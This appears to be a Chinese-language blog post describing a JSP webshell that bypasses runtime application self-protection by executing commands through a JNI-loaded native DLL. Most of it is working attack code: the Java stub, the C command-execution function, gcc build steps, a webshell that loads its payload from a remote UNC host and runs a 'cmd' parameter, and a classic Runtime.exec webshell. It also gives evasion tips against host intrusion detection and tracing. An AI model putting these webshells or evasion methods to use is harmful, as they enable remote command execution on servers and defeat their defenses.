背景
原理
使用
????技術(shù)要點(diǎn)
????實(shí)戰(zhàn)使用
其他
背景
那些年我們堵住的洞 – OpenRASP紀(jì)實(shí)
????想到rasp這類工具是基于java仆百、php運(yùn)行期的堆棧信息進(jìn)行分析调塌,可以嘗試使用jni技術(shù)進(jìn)行繞過终抽。java技術(shù)棧中的jni的原理是使用java調(diào)用c瘤睹、c++函數(shù),具體實(shí)現(xiàn)的思路是jsp編譯為class文件棉安,該class通過jni技術(shù)調(diào)用另外一處dll里的函數(shù)繞過黑名單執(zhí)行命令獲取回顯攻晒,即可實(shí)現(xiàn)rasp和安全防護(hù)軟件的繞過。github地址:https://github.com/nanolikeyou/jniwebshell
原理使用
????以我們要實(shí)現(xiàn)的jsp webshell命名為test.jsp為例奏瞬。由于jni技術(shù)需要先通過javah+.class文件生成.h開頭的c頭文件枫绅,jsp是一種特殊的class文件,而jsp經(jīng)過Tomcat編譯class文件硼端,命名遵從test.jsp ->> org.apache.jsp.test_jsp.class撑瞧,所以我們需要新建package為org.apache.jsp,類名為test_jsp的.java文件。
package org.apache.jsp;
public class test_jsp
{
? ?class JniClass
? {
? ? ? ?public native String exec( String string );
? }
}
cd到編譯生成的target/class目錄显蝌,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件预伺,內(nèi)容為:
/* DO NOT EDIT THIS FILE - it is machine generated */
/* Header for class org_apache_jsp_test_jsp_JniClass */
extern "C" {
/*
* Class: ? ? org_apache_jsp_test_jsp_JniClass
* Method: ? exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec
(JNIEnv *, jobject, jstring);
}
調(diào)用上一步生成頭文件,編寫有回顯的c語言代碼
int execmd(const char *cmd, char *result)
{
? ?char buffer[1024*12]; ? ? ? ? ? ? ?//定義緩沖區(qū)
? ?FILE *pipe = _popen(cmd, "r"); //打開管道曼尊,并執(zhí)行命令
? ?if (!pipe)
? ? ? ?return 0; //返回0表示運(yùn)行失敗
? ?while (!feof(pipe))
? {
? ? ? ?if (fgets(buffer, 128, pipe))
? ? ? { //將管道輸出到result中
? ? ? ? ? ?strcat(result, buffer);
? ? ? }
? }
? ?_pclose(pipe); //關(guān)閉管道
? ?return 1; ? ? ?//返回1表示運(yùn)行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
? ?const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
? ?char result[1024 * 12] = ""; //定義存放結(jié)果的字符串?dāng)?shù)組
? ?if (1 == execmd(cstr, result))
? {
? ? ? // printf(result);
? }
? ?char return_messge[100] = "";
? ?strcat(return_messge, result);
? ?jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
? ?//system();
? ?return cmdresult;
}
}
使用gcc將該c源碼編譯為dll或者lib(注意jdk版本要與目標(biāo)機(jī)器的
jdk保持一致)
gcc -I "c:\Program
Files\Java\jdk1.7.0_75\include" -I
"c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c
-o 1.dll
加大溯源難度肴裙、提高部署靈活度。
<%page contentType="text/html;charset=UTF-8" language="java" %>
<%!
?class JniClass {
? ?public native String exec(String string);
? ?public JniClass() {
? ? ?//System.load("/Users/nano/upload/libJniClass.jnilib");
? ? ?System.load("\\\\8.8.8.8\\classes\\1.dll");
? }
}
;
%>
<%
?String cmd ?= request.getParameter("cmd");
?JniClass jniClass = new JniClass();
?String res = jniClass.exec(cmd);
%>
<%=res%>
技術(shù)要點(diǎn)
核心的system.load|loadLibrary法是以File的形式記載dll|lib文件宛乃,該dll|lib路徑的以遠(yuǎn)程的方式加載的絕對路徑,所以需要目標(biāo)機(jī)器上測試判斷環(huán)境是支持//蒸辆,還是支持\\\征炼?簡單判斷方法是new file(path),然后判斷file.exist躬贡。如果是前者的linux環(huán)境谆奥,需要想辦法使用//的unc路徑,推薦使用samba搭建匿名訪問服務(wù)放置.jnilib載荷拂玻。如果是后者酸些,即目標(biāo)服務(wù)器為windows下的java應(yīng)用宰译,遠(yuǎn)程路徑需要以\\\\開頭,dll需要放在windows下擂仍,在windows平臺下445不通的情況下,會訪問WebDAV(開啟webclient)的80端口下載下來dll執(zhí)行熬甚。
jni載荷的c逢渔、c++實(shí)現(xiàn)的代碼要具備健壯性,避免目標(biāo)環(huán)境的jvm奔潰乡括。
使用system函數(shù)執(zhí)行命令要小心被hids發(fā)現(xiàn)肃廓。
該webshell只在tomcat容器上測試過。
實(shí)戰(zhàn)使用
經(jīng)測試:jdk1.7+tomcat8.5+windows環(huán)境
jdk10+tomcat+Mac
rasp安全防護(hù)全開诲泌。
樣本index.jsp為傳統(tǒng)的基于Runtime.getRuntime執(zhí)行命令,
<%page import="java.io.*" %>
<%
? ?try {
? ? ? ?String cmd = request.getParameter("cmd");
? ? ? ?Process child = Runtime.getRuntime().exec(cmd);
? ? ? ?InputStream in = child.getInputStream();
? ? ? ?int c;
? ? ? ?while ((c = in.read()) != -1) {
? ? ? ? ? ?out.print((char)c);
? ? ? }
? ? ? ?in.close();
? ? ? ?try {
? ? ? ? ? ?child.waitFor();
? ? ? } catch (InterruptedException e) {
? ? ? ? ? ?e.printStackTrace();
? ? ? }
? } catch (IOException e) {
? ? ? ?System.err.println(e);
? }
%>
使用jni突破rasp的jsp來執(zhí)行shell哀蘑,成功繞過。
virustotal:
其他
如果您有其他的思路和建議绘迁,歡迎同我交流:)
參考資料
https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/
http://www.reibang.com/p/1a5fb579ef08
https://blog.csdn.net/qq_39448233/article/details/80882948
https://www.cnblogs.com/LittleHann/p/4326828.html